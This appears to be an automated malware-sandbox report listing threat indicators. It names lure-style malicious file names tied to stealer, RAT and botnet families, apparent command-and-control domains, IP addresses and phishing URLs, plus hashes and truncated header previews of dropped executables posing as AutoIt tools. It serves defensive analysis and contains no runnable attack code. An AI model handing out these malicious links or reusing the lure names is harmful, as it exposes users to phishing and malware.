	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	gvijgjwkh.biz/njgjrpxmf
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	ctdtgwag.biz/jdpwxuwvcofyscp
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	ctdtgwag.biz/yxaoh
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	gvijgjwkh.biz/madfojp
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	ctdtgwag.biz/va
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	lymyxid.com/login.php
	5AFlyarMds.exe	Get hash	malicious	Simda Stealer	Browse	lymyxid.com/login.php
	uB31aJH4M0.exe	Get hash	malicious	Simda Stealer	Browse	lymyxid.com/login.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
vjaxhpbji.biz	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	82.112.184.197
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	82.112.184.197
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	82.112.184.197
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	82.112.184.197
	NEOM_SUPPLIER_EOI&QUESTIONNAIR_FORM_SHEET.PDF.EXE	Get hash	malicious	AgentTesla, RedLine	Browse	82.112.184.197
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	82.112.184.197
pywolwnvd.biz	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	54.244.188.177
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	54.244.188.177
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	54.244.188.177
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	54.244.188.177
	ORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	54.244.188.177
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	54.244.188.177
	ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmd	Get hash	malicious	AgentTesla, DBatLoader	Browse	54.244.188.177
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	54.244.188.177
uaafd.biz	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.254.94.185
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.254.94.185
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	3.254.94.185
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	3.254.94.185
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	3.254.94.185
	NEOM_SUPPLIER_EOI&QUESTIONNAIR_FORM_SHEET.PDF.EXE	Get hash	malicious	AgentTesla, RedLine	Browse	3.254.94.185
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	3.254.94.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	52.72.176.27
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	52.72.176.27
	https://ascot.auditboardapp.com/task-redirect/4113?source=email&CTA=taskTitleLink&notificationId=044e55a3-481a-4a33-91c7-abbaf803b1d7&projectId=367&taskId=4113&notificationType=WS-task-submitted	Get hash	malicious	Unknown	Browse	44.196.125.45
	https://shared.outlook.inky.com/link?domain=ctrk.klclick.com&t=h.eJx1zT1vwjAUheG_gjyX2E4ItpkoQgJlqGgUqWNlGzu1cvMh-2ZAFf8dJUO37s857y-ZI5DDhvwgTulAqcXYZR1YCLbL7NhToIxX76K5FNdzw9mtvtQf1dfts2rq0zcjbxvSLfs2mKgBddyaOYXBpbS1egqogcbRRXRw_CPGrs--9LkSd--5LbksuVHGi72WO6WkZCKnXORqLwvBimxXLiW3ljAAuMexnbDXg25d7wZMI8wYxiEtzwu9r_R_8nwBLatRZw.MEYCIQCSahzZW_4sDNrHIm-tqOS-MfCLNun8fj_Bxq7Zj7FBvQIhAKVsQPfH8EnP8IAulYo78COUXm3bMhbNANS-wTC8S6QO#bW1vc2VyQHNreWxpbmUtaG9sdC5jb20=	Get hash	malicious	HTMLPhisher	Browse	52.7.146.246
	Sars Urgent Notice.pdf	Get hash	malicious	Unknown	Browse	23.22.254.206
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	54.12.106.229
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	3.84.59.106
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	34.229.147.111
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	3.220.132.122
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	54.210.169.183
AMAZON-02US	bot.arm5.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	34.249.145.219
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	https://docs.google.com/drawings/d/14Q1EGmG0TWb0poSuSYwhNHZWOm-kG4Jlnk5Hg076lVI/preview?pli=132E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWl	Get hash	malicious	Mamba2FA	Browse	18.245.31.89
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	45.112.123.225
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	52.60.87.163
	https://gofile.io/d/IAr464	Get hash	malicious	Phisher	Browse	45.112.123.225
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	45.112.123.225
	Salary_Structure_Benefits_for_I.e.van.groenesteinIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	13.33.187.96
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.211.71
	.i.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
AMAZON-AESUS	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	52.72.176.27
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	52.72.176.27
	https://ascot.auditboardapp.com/task-redirect/4113?source=email&CTA=taskTitleLink&notificationId=044e55a3-481a-4a33-91c7-abbaf803b1d7&projectId=367&taskId=4113&notificationType=WS-task-submitted	Get hash	malicious	Unknown	Browse	44.196.125.45
	https://shared.outlook.inky.com/link?domain=ctrk.klclick.com&t=h.eJx1zT1vwjAUheG_gjyX2E4ItpkoQgJlqGgUqWNlGzu1cvMh-2ZAFf8dJUO37s857y-ZI5DDhvwgTulAqcXYZR1YCLbL7NhToIxX76K5FNdzw9mtvtQf1dfts2rq0zcjbxvSLfs2mKgBddyaOYXBpbS1egqogcbRRXRw_CPGrs--9LkSd--5LbksuVHGi72WO6WkZCKnXORqLwvBimxXLiW3ljAAuMexnbDXg25d7wZMI8wYxiEtzwu9r_R_8nwBLatRZw.MEYCIQCSahzZW_4sDNrHIm-tqOS-MfCLNun8fj_Bxq7Zj7FBvQIhAKVsQPfH8EnP8IAulYo78COUXm3bMhbNANS-wTC8S6QO#bW1vc2VyQHNreWxpbmUtaG9sdC5jb20=	Get hash	malicious	HTMLPhisher	Browse	52.7.146.246
	Sars Urgent Notice.pdf	Get hash	malicious	Unknown	Browse	23.22.254.206
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	54.12.106.229
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	3.84.59.106
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	34.229.147.111
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	3.220.132.122
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	54.210.169.183
AMAZON-02US	bot.arm5.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	34.249.145.219
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	https://docs.google.com/drawings/d/14Q1EGmG0TWb0poSuSYwhNHZWOm-kG4Jlnk5Hg076lVI/preview?pli=132E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWl	Get hash	malicious	Mamba2FA	Browse	18.245.31.89
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	45.112.123.225
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	52.60.87.163
	https://gofile.io/d/IAr464	Get hash	malicious	Phisher	Browse	45.112.123.225
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	45.112.123.225
	Salary_Structure_Benefits_for_I.e.van.groenesteinIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	13.33.187.96
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	108.156.211.71
	.i.elf	Get hash	malicious	Unknown	Browse	54.171.230.55

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.879309753054468
Encrypted:	false
SSDEEP:	24576:tzCAR0im/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:dCAqLNiXicJFFRGNzj3
MD5:	21B371781D7B43F7389F400CB15AA2DC
SHA1:	18298DF1AAB873EC10FF68FBAA0875A9F14319B1
SHA-256:	569B069ED48FC69FABF6AA94157C56ACA6B1F1C70F3EB379084E02A7C0761D2C
SHA-512:	992C2653123DD0223A3B62CD8FE7824BE1FD43141C418DBA0EB77F14952F84E2206BC76CDE1DE09DC7F2F0CDD07E13D961F593F2F3B7AC68525C43F081335B4D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-.J%-.2.-.2.-.2.-.[.,.2.-.[I-.2.-.2!-.2.-.[.,.2.-Rich.2.-........................PE..L...g.(c.....................6......&........0....@.........................................................................,b..<....p...............................L..8............................L..@............0..,............................text............................... ..`.rdata...8...0...:..."..............@..@.data........p.......\..............@....rsrc....`...p.......f..............@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1450496
Entropy (8bit):	4.821225414215182
Encrypted:	false
SSDEEP:	24576:KCbKgv/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:tLNiXicJFFRGNzj3
MD5:	1621194AF5F9626C50621A7E3E183C89
SHA1:	F79AA7F660389059AFF8D808000B9861F352F563
SHA-256:	BDDAF1575AAD55BA95AA18DC9E2A57BE20977AA606E183C2F1E8AB6987851880
SHA-512:	22E48D0C652B6C35CC77EF78C1A80F47F191E38A1169DAF3F114B42BB4DE2985CE66233A82E033A903D2669E166E26EF646D928E2ACE0D359AA7E7EF5D3D4B7B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9S.x9W..9Z..9..9...8]..9...9[..9Z.\|9[..9...8[..9RichZ..9........PE..L...C.(c.........."......:...........\.......P....@...........................-......A......................................$...........0..............................8...............................@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>..............@..@.data...............................@....rsrc...0...........................@..@.reloc...p...`.......r..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1469952
Entropy (8bit):	4.819275702246314
Encrypted:	false
SSDEEP:	24576:EKdHa/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Rd6LNiXicJFFRGNzj3
MD5:	2FD24FB3BF15E46D06839BB9325FD9D2
SHA1:	DF5CF4F0B60DB166939036B9874EDE882FA7B96D
SHA-256:	717838A61440ABBA3D09777FC97B5071E9A6ED295CC62B1E9E86F2A78F560A79
SHA-512:	2C90C75B342D73E78D06EDA0ED376412DA9A2E4C81D00D2547E44D8923539004560CAB706D87FF5F1BFE9CDE6750FCEE226D90ECE8A89BE3EF0FF7BE14788C61
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X... n..X...X..YX..<1.X..<1...X...Xj..X..<1...X..Rich.X..........................PE..d...G.(c.........."......J...^......Tr.........@.............................0......H..... .................................................,........ ..0...............................8............................................`..`............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........ ......................@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc...`..........................@...................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2203136
Entropy (8bit):	7.644262954435273
Encrypted:	false
SSDEEP:	49152:CK0eqkSR7Xgo4TiRPnLWvJSLNiXicJFFRGNzj3:CK0pR7Xn4TiRCvJS7wRGpj3
MD5:	D5010E10CA46EA38ED81FAD25BE7DE8C
SHA1:	CD69D9C8EA95515EC53183F490B07A5E07FE3FAE
SHA-256:	7F25EC6A3AEA740F5447A377078ED57D54E734C28F5C6A3812B283B5980D93B7
SHA-512:	842B0CCF7D67C2DA160E9C92378B24149CFBC477AA187D781E70389251CC16FF44A520550C4694BBD420A6EC39A06A9D5CBA6E895F23D51E5962DC566A9FAE6B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5...........................D......T...........H......H.8.....P....H......Rich...................PE..L...9.(c..........#..................d............@..........................."......,"..............................................p..X...............................p...............................@...............X............................text.............................. ..`.rdata..$H.......J..................@..@.data....@... ......................@....rsrc........p......................@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2369024
Entropy (8bit):	7.562589739859973
Encrypted:	false
SSDEEP:	49152:QfYP1JsEDkSR7Xgo4TiRPnLWvJSLNiXicJFFRGNzj3:AYPBR7Xn4TiRCvJS7wRGpj3
MD5:	E088C2D6A8B8941BF55241781DD4C546
SHA1:	6D95145DE8AEC8C2106FC27EC04A565EA56AB035
SHA-256:	384C95AA31DE66114E7F9883ED6DB85FF2DE9F44D173F85F174EAA88885DD543
SHA-512:	D4D2F42E46EBDBEA6690383D3677CF54AEA363209B5A2FB25BADA4C880B1DEDB288E2F3B7241D12EF96FA8F6783F20EA3123AD630A9646C14DAB95AF27E42691
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...*p..H...q`..z...q`..a...x...s....q..[....qp.y...x...z....q..y...Richx...........PE..d...>.(c..........#..........0......(..........@..............................$.......$... .............................................................X........e...................n..p...................0p..(...0o...............0...............................text............................... ..`.rdata.......0......."..............@..@.data....R...0... ... ..............@....pdata...e.......f...@..............@..@.rsrc...............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1400832
Entropy (8bit):	4.656551530047537
Encrypted:	false
SSDEEP:	24576:SYUcknA/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:SZcknALNiXicJFFRGNzj3
MD5:	9CFFD2CF4DE303D4CABA53518DD0F58D
SHA1:	3BBA0390A809F6473EB8EE5DE816351D9904729F
SHA-256:	E762CFAEE63719937BDA99E5D17032CA6C4EE6B4A700281F544F7128D121E37E
SHA-512:	329CDEB3C7EAC97776E41BB8D467F9E5BFE6BA083D451061AC72BE9DC14088CB24B68115EF1180EAC401D8E4F6C0B3B0F1F14DD63AC173A955740EDC6776C4AD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>.>..5>..4>..5>.>..5>^.<?..5>^..>..5>..>..5>^.7?..5>Rich..5>........................PE..L.....(c..........................................@..........................P ..............................................%..d....P.................................8...............................@...............t............................text.............................. ..`.rdata...^.......`..................@..@.data...l....0....... ..............@....rsrc.......P.......*..............@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1640448
Entropy (8bit):	7.161583836615311
Encrypted:	false
SSDEEP:	49152:b+iAqSPyC+NltpScpzbtvpJoMQSq/jrQaS+LNiXicJFFRGNzj3:5SktbpA7wRGpj3
MD5:	8233FC2831345FA924BD9A8D373AB4A3
SHA1:	1AEFEF1314AA7BD3249A814969AA591C6EAE5EED
SHA-256:	66CEC2993CD3324D83D7732457F40AD6706D62EA14C6653311C22AAD84CCD685
SHA-512:	906365912A334CFF7396796B82230265258B9B706203D962794A3271C53C5480A0178892368B9D76803E159BC33F3F44AA6B01D2095F382C6B5745FACC59997D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@....................................?..... ...@...............@..............................l..\|.......P....P...o.................. .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc...............(..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Windows\System32\alg.exe
